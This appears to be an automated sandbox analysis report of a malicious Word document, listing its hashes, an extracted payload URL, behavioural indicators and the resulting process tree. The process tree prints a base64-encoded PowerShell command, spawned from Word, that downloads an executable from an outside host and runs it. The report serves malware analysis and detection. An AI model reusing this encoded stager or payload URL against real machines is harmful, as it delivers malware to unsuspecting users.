Analysis
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max time kernel
110s -
max time network
144s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
11-05-2021 03:55
Static task
static1
Behavioral task
behavioral1
Sample
July_RQF_SGD894_CODE_ 850.doc
Resource
win7v20210410
Behavioral task
behavioral2
Sample
July_RQF_SGD894_CODE_ 850.doc
Resource
win10v20210408
General
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Target
July_RQF_SGD894_CODE_ 850.doc
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Size
43KB
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MD5
3fce454b5a5ba7d73cc2b2560f69a48a
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SHA1
b9321f7d1bbb1e020b03b676bd23d53e9ff6c17e
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SHA256
b9c87683d4000e24d419ebe199d2c55dbb9757d5cc8f4e6d9a0295e963cbb07c
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SHA512
fc35cb2957f15a3cdadf282c1b6d0f876dd710061d7c645618b83a394171723d24ddfecc64d721cb2cb1745e44a283dcc7278d6da9f3a67465e2cb8e760eb943
Malware Config
Extracted
http://atlantastunttruckdrivers.com/Denight.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3068 784 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 17 216 powershell.exe -
Downloads MZ/PE file
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 784 WINWORD.EXE 784 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 216 powershell.exe 216 powershell.exe 216 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 216 powershell.exe -
Suspicious use of SetWindowsHookEx 17 IoCs
Processes:
WINWORD.EXEpid process 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE 784 WINWORD.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WINWORD.EXEcmd.execmd.exedescription pid process target process PID 784 wrote to memory of 3068 784 WINWORD.EXE cmd.exe PID 784 wrote to memory of 3068 784 WINWORD.EXE cmd.exe PID 3068 wrote to memory of 4020 3068 cmd.exe cmd.exe PID 3068 wrote to memory of 4020 3068 cmd.exe cmd.exe PID 4020 wrote to memory of 216 4020 cmd.exe powershell.exe PID 4020 wrote to memory of 216 4020 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\July_RQF_SGD894_CODE_ 850.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/216-181-0x0000000000000000-mapping.dmp
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memory/216-185-0x00000268236B8000-0x00000268236B9000-memory.dmpFilesize
4KB
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memory/216-184-0x00000268236B6000-0x00000268236B8000-memory.dmpFilesize
8KB
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memory/216-183-0x00000268236B3000-0x00000268236B5000-memory.dmpFilesize
8KB
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memory/216-182-0x00000268236B0000-0x00000268236B2000-memory.dmpFilesize
8KB
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memory/784-122-0x00007FFDF3060000-0x00007FFDF414E000-memory.dmpFilesize
16.9MB
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memory/784-114-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmpFilesize
64KB
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memory/784-123-0x00007FFDF1160000-0x00007FFDF3055000-memory.dmpFilesize
31.0MB
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memory/784-119-0x00007FFDF85E0000-0x00007FFDFB103000-memory.dmpFilesize
43.1MB
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memory/784-118-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmpFilesize
64KB
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memory/784-117-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmpFilesize
64KB
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memory/784-116-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmpFilesize
64KB
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memory/784-115-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmpFilesize
64KB
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memory/3068-179-0x0000000000000000-mapping.dmp
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memory/4020-180-0x0000000000000000-mapping.dmp